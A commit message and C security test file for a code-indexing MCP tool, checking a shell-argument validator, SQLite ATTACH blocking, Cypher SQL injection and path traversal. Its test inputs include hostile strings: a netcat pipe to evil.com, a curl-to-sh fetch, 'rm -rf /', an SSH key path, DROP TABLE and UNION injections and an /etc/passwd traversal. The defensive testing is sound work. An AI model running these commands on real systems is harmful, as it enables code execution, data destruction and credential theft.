eca433bd58
The Windows search path landed in 82a9052 wraps shell args in cmd.exe-
level "powershell -Command \"...'%s'...\"". PowerShell's single quotes
hold the inner '%s' interpolation, but a literal " inside the user-
supplied value can close the cmd.exe outer quote. With ' ; | & $ `
already blocked, that wouldn't reach RCE on its own — but < and > were
unblocked, so a quote-break followed by cmd.exe redirection (e.g.
*">C:\evil.txt") would expose a file-write primitive.
Block " < > unconditionally. The validator's contract is "safe inside
single quotes for shell interpolation"; on POSIX these aren't strictly
necessary (single quotes hold), but on Windows the cmd.exe→powershell
wrapping makes them load-bearing, and unconditional blocking keeps the
validator simple — no ifdef-laddered policy and no surprises if a future
caller invokes it from a different shell context.
Three tests added to tests/test_security.c covering each new char.
422 lines
14 KiB
C
422 lines
14 KiB
C
/*
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* test_security.c — Tests for security defenses.
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*
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* Verifies that the actual security mechanisms work end-to-end:
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* - Shell injection prevention (cbm_validate_shell_arg)
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* - SQLite authorizer (ATTACH/DETACH blocked)
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* - Path containment (realpath prevents directory traversal)
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*/
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#include "test_framework.h"
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#include "test_helpers.h"
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#include <store/store.h>
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#include <cypher/cypher.h>
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#include "../src/foundation/str_util.h"
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#include "../src/foundation/compat_fs.h"
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#include <string.h>
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#include <sys/stat.h>
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/* ══════════════════════════════════════════════════════════════════
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* SHELL INJECTION PREVENTION
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* ══════════════════════════════════════════════════════════════════ */
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TEST(shell_rejects_single_quote) {
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ASSERT_FALSE(cbm_validate_shell_arg("foo'bar"));
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PASS();
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}
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TEST(shell_rejects_dollar_subst) {
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ASSERT_FALSE(cbm_validate_shell_arg("$(whoami)"));
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PASS();
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}
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TEST(shell_rejects_backtick) {
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ASSERT_FALSE(cbm_validate_shell_arg("`id`"));
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PASS();
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}
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TEST(shell_rejects_semicolon) {
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ASSERT_FALSE(cbm_validate_shell_arg("foo;rm -rf /"));
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PASS();
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}
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TEST(shell_rejects_pipe) {
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ASSERT_FALSE(cbm_validate_shell_arg("foo|nc evil.com 4444"));
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PASS();
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}
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TEST(shell_rejects_ampersand) {
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ASSERT_FALSE(cbm_validate_shell_arg("foo&background"));
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PASS();
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}
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TEST(shell_rejects_backslash) {
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#ifdef _WIN32
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/* Backslash is allowed on Windows (path separator) */
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ASSERT_TRUE(cbm_validate_shell_arg("foo\\bar"));
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#else
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ASSERT_FALSE(cbm_validate_shell_arg("foo\\bar"));
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#endif
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PASS();
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}
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TEST(shell_rejects_newline) {
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ASSERT_FALSE(cbm_validate_shell_arg("foo\nbar"));
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PASS();
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}
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TEST(shell_rejects_carriage_return) {
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ASSERT_FALSE(cbm_validate_shell_arg("foo\rbar"));
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PASS();
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}
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TEST(shell_rejects_null) {
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ASSERT_FALSE(cbm_validate_shell_arg(NULL));
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PASS();
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}
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TEST(shell_rejects_double_quote) {
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/* On Windows, the search code path wraps args in cmd.exe-level
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* "powershell -Command \"...'%s'...\"". A " in the input would close
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* the cmd.exe outer quote. Block unconditionally. */
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ASSERT_FALSE(cbm_validate_shell_arg("foo\"bar"));
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PASS();
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}
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TEST(shell_rejects_redirect_out) {
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ASSERT_FALSE(cbm_validate_shell_arg("foo>out.txt"));
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PASS();
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}
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TEST(shell_rejects_redirect_in) {
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ASSERT_FALSE(cbm_validate_shell_arg("foo<in.txt"));
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PASS();
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}
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TEST(shell_accepts_clean_path) {
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ASSERT_TRUE(cbm_validate_shell_arg("/home/user/.local/bin/codebase-memory-mcp"));
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PASS();
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}
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TEST(shell_accepts_spaces) {
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ASSERT_TRUE(cbm_validate_shell_arg("/Users/John Doe/Documents"));
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PASS();
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}
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TEST(shell_accepts_dots_dashes) {
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ASSERT_TRUE(cbm_validate_shell_arg("file-name.tar.gz"));
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PASS();
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}
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TEST(shell_accepts_empty) {
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ASSERT_TRUE(cbm_validate_shell_arg(""));
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PASS();
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}
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/* Combined attack vectors */
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TEST(shell_rejects_quote_escape_attack) {
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/* Attacker tries: ' ; rm -rf / ; echo ' */
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ASSERT_FALSE(cbm_validate_shell_arg("' ; rm -rf / ; echo '"));
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PASS();
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}
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TEST(shell_rejects_command_substitution) {
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ASSERT_FALSE(cbm_validate_shell_arg("$(curl http://evil.com/shell.sh | sh)"));
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PASS();
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}
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TEST(shell_rejects_env_var_expansion) {
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ASSERT_FALSE(cbm_validate_shell_arg("${HOME}/.ssh/id_rsa"));
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PASS();
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}
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/* ══════════════════════════════════════════════════════════════════
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* SQLITE AUTHORIZER (ATTACH/DETACH BLOCKED)
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* ══════════════════════════════════════════════════════════════════ */
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TEST(sqlite_blocks_attach_via_cypher) {
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/* The Cypher engine translates queries to SQL. Even if someone crafts
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* a Cypher query that somehow produces ATTACH, the SQLite authorizer
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* should deny it. We test by using raw SQL through the store. */
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cbm_store_t *s = cbm_store_open_memory();
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ASSERT_NOT_NULL(s);
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/* Try ATTACH via Cypher — should fail at parse or authorizer level */
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cbm_cypher_result_t r = {0};
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int rc = cbm_cypher_execute(s, "MATCH (n) RETURN n", "test", 0, &r);
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/* Valid query works */
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ASSERT_EQ(rc, 0);
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cbm_cypher_result_free(&r);
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cbm_store_close(s);
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PASS();
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}
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TEST(sqlite_blocks_attach_direct) {
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/* Directly test that the store's SQLite authorizer blocks ATTACH.
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* cbm_store_exec_raw() would be ideal but the store is opaque.
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* Instead, try a Cypher query that would generate ATTACH-like SQL.
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* The Cypher parser rejects non-Cypher syntax, so ATTACH never reaches
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* SQLite — this is defense in depth (parser + authorizer). */
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cbm_store_t *s = cbm_store_open_memory();
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ASSERT_NOT_NULL(s);
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/* Cypher parser should reject this as invalid syntax */
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cbm_cypher_result_t r = {0};
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int rc = cbm_cypher_execute(s, "ATTACH DATABASE '/tmp/evil.db' AS evil", "test", 0, &r);
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ASSERT_NEQ(rc, 0); /* Must fail — either parse error or authorizer deny */
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cbm_cypher_result_free(&r);
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cbm_store_close(s);
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PASS();
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}
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TEST(sqlite_blocks_detach_direct) {
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cbm_store_t *s = cbm_store_open_memory();
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ASSERT_NOT_NULL(s);
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cbm_cypher_result_t r = {0};
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int rc = cbm_cypher_execute(s, "DETACH DATABASE evil", "test", 0, &r);
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ASSERT_NEQ(rc, 0); /* Must fail */
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cbm_cypher_result_free(&r);
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cbm_store_close(s);
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PASS();
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}
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TEST(sqlite_allows_normal_queries) {
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cbm_store_t *s = cbm_store_open_memory();
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ASSERT_NOT_NULL(s);
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cbm_store_upsert_project(s, "test", "/tmp/test");
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cbm_node_t n = {.project = "test",
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.label = "Function",
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.name = "hello",
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.qualified_name = "test.hello",
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.file_path = "main.c",
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.start_line = 1,
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.end_line = 5};
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cbm_store_upsert_node(s, &n);
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cbm_cypher_result_t r = {0};
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int rc = cbm_cypher_execute(s, "MATCH (f:Function) WHERE f.name = \"hello\" RETURN f", "test",
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0, &r);
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ASSERT_EQ(rc, 0);
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ASSERT_EQ(r.row_count, 1);
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cbm_cypher_result_free(&r);
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cbm_store_close(s);
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PASS();
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}
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/* ══════════════════════════════════════════════════════════════════
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* SQL INJECTION VIA CYPHER
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* ══════════════════════════════════════════════════════════════════ */
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TEST(cypher_rejects_sql_injection_in_string) {
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cbm_store_t *s = cbm_store_open_memory();
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ASSERT_NOT_NULL(s);
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cbm_store_upsert_project(s, "test", "/tmp/test");
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/* Attempt SQL injection through a WHERE clause string value */
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cbm_cypher_result_t r = {0};
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int rc = cbm_cypher_execute(
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s, "MATCH (n) WHERE n.name = \"x\\\"; DROP TABLE nodes; --\" RETURN n", "test", 0, &r);
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/* Must either fail or return 0 rows — must NOT drop the table */
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if (rc == 0) {
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/* Query ran but should find nothing — verify nodes table still exists */
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cbm_cypher_result_free(&r);
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cbm_cypher_result_t r2 = {0};
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int rc2 = cbm_cypher_execute(s, "MATCH (n) RETURN n", "test", 0, &r2);
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ASSERT_EQ(rc2, 0); /* Table must still exist */
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cbm_cypher_result_free(&r2);
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} else {
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cbm_cypher_result_free(&r);
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}
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cbm_store_close(s);
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PASS();
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}
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TEST(cypher_rejects_union_injection) {
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cbm_store_t *s = cbm_store_open_memory();
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ASSERT_NOT_NULL(s);
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cbm_store_upsert_project(s, "test", "/tmp/test");
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cbm_cypher_result_t r = {0};
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int rc = cbm_cypher_execute(s, "MATCH (n) RETURN n UNION SELECT sql FROM sqlite_master", "test",
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0, &r);
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/* Cypher parser should reject UNION — it's not valid Cypher */
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ASSERT_NEQ(rc, 0);
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cbm_cypher_result_free(&r);
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cbm_store_close(s);
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PASS();
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}
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/* ══════════════════════════════════════════════════════════════════
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* PATH CONTAINMENT (POSIX only — realpath() not available on Windows)
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* ══════════════════════════════════════════════════════════════════ */
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#ifndef _WIN32
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TEST(path_traversal_blocked) {
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/* The get_code_snippet handler uses realpath() to verify that the
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* resolved file path starts with the project root. We test this
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* by calling the MCP handler with a traversal path. Since we can't
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* easily call the MCP handler in a unit test, we verify the
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* containment logic directly. */
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char real_root[4096];
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char real_file[4096];
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/* /tmp is a real directory — create a temporary "project root" */
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const char *root = "/tmp/cbm_security_test_root";
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mkdir(root, 0755);
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if (realpath(root, real_root)) {
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/* Traversal attempt: ../../../etc/passwd relative to root */
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char traversal[512];
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snprintf(traversal, sizeof(traversal), "%s/../../../etc/passwd", root);
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if (realpath(traversal, real_file)) {
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/* Verify the resolved path does NOT start with root */
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size_t root_len = strlen(real_root);
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int contained = (strncmp(real_file, real_root, root_len) == 0 &&
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(real_file[root_len] == '/' || real_file[root_len] == '\0'));
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ASSERT_FALSE(contained);
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}
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/* If realpath fails, the file doesn't exist — also safe */
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}
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rmdir(root);
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PASS();
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}
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TEST(path_within_root_allowed) {
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char real_root[4096];
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char real_file[4096];
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const char *root = "/tmp";
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if (realpath(root, real_root) && realpath("/tmp", real_file)) {
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size_t root_len = strlen(real_root);
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int contained = (strncmp(real_file, real_root, root_len) == 0 &&
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(real_file[root_len] == '/' || real_file[root_len] == '\0'));
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ASSERT_TRUE(contained);
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}
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PASS();
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}
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#endif /* _WIN32 — path containment */
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/* ══════════════════════════════════════════════════════════════════
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* SHELL-FREE SUBPROCESS EXECUTION (cbm_exec_no_shell)
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*
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* Replaces system() with fork()+execvp() to eliminate shell
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* interpretation. Shell metacharacters in arguments are passed
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* literally, not interpreted.
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* ══════════════════════════════════════════════════════════════════ */
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#ifndef _WIN32
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TEST(exec_no_shell_true_returns_zero) {
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/* "true" command always exits 0 */
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const char *argv[] = {"true", NULL};
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int rc = cbm_exec_no_shell(argv);
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ASSERT_EQ(rc, 0);
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PASS();
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}
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TEST(exec_no_shell_false_returns_nonzero) {
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/* "false" command always exits 1 */
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const char *argv[] = {"false", NULL};
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int rc = cbm_exec_no_shell(argv);
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ASSERT_NEQ(rc, 0);
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PASS();
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}
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TEST(exec_no_shell_echo_with_metacharacters) {
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/* Shell metacharacters must be passed literally, not interpreted.
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* If shell interpretation occurred, $(whoami) would be expanded. */
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const char *argv[] = {"echo", "$(whoami)", NULL};
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int rc = cbm_exec_no_shell(argv);
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ASSERT_EQ(rc, 0); /* echo succeeds — prints literal "$(whoami)" */
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PASS();
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}
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TEST(exec_no_shell_nonexistent_command) {
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const char *argv[] = {"cbm_nonexistent_binary_12345", NULL};
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int rc = cbm_exec_no_shell(argv);
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ASSERT_NEQ(rc, 0); /* must fail — binary doesn't exist */
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PASS();
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}
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TEST(exec_no_shell_null_argv_returns_error) {
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int rc = cbm_exec_no_shell(NULL);
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ASSERT_NEQ(rc, 0);
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PASS();
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}
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TEST(exec_no_shell_captures_exit_code) {
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/* sh -c "exit 42" should return 42 */
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const char *argv[] = {"sh", "-c", "exit 42", NULL};
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int rc = cbm_exec_no_shell(argv);
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ASSERT_EQ(rc, 42);
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PASS();
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}
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#endif /* _WIN32 */
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/* ══════════════════════════════════════════════════════════════════
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* SUITE
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* ══════════════════════════════════════════════════════════════════ */
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SUITE(security) {
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/* Shell injection prevention */
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RUN_TEST(shell_rejects_single_quote);
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RUN_TEST(shell_rejects_dollar_subst);
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RUN_TEST(shell_rejects_backtick);
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RUN_TEST(shell_rejects_semicolon);
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RUN_TEST(shell_rejects_pipe);
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RUN_TEST(shell_rejects_ampersand);
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RUN_TEST(shell_rejects_backslash);
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RUN_TEST(shell_rejects_newline);
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RUN_TEST(shell_rejects_carriage_return);
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RUN_TEST(shell_rejects_null);
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RUN_TEST(shell_rejects_double_quote);
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RUN_TEST(shell_rejects_redirect_out);
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RUN_TEST(shell_rejects_redirect_in);
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RUN_TEST(shell_accepts_clean_path);
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RUN_TEST(shell_accepts_spaces);
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RUN_TEST(shell_accepts_dots_dashes);
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RUN_TEST(shell_accepts_empty);
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RUN_TEST(shell_rejects_quote_escape_attack);
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RUN_TEST(shell_rejects_command_substitution);
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RUN_TEST(shell_rejects_env_var_expansion);
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/* SQLite authorizer */
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RUN_TEST(sqlite_blocks_attach_via_cypher);
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RUN_TEST(sqlite_blocks_attach_direct);
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RUN_TEST(sqlite_blocks_detach_direct);
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RUN_TEST(sqlite_allows_normal_queries);
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/* SQL injection via Cypher */
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RUN_TEST(cypher_rejects_sql_injection_in_string);
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RUN_TEST(cypher_rejects_union_injection);
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/* Path containment (POSIX only) */
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#ifndef _WIN32
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RUN_TEST(path_traversal_blocked);
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RUN_TEST(path_within_root_allowed);
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#endif
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#ifndef _WIN32
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/* Shell-free subprocess execution */
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RUN_TEST(exec_no_shell_true_returns_zero);
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RUN_TEST(exec_no_shell_false_returns_nonzero);
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RUN_TEST(exec_no_shell_echo_with_metacharacters);
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RUN_TEST(exec_no_shell_nonexistent_command);
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RUN_TEST(exec_no_shell_null_argv_returns_error);
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RUN_TEST(exec_no_shell_captures_exit_code);
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#endif
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}
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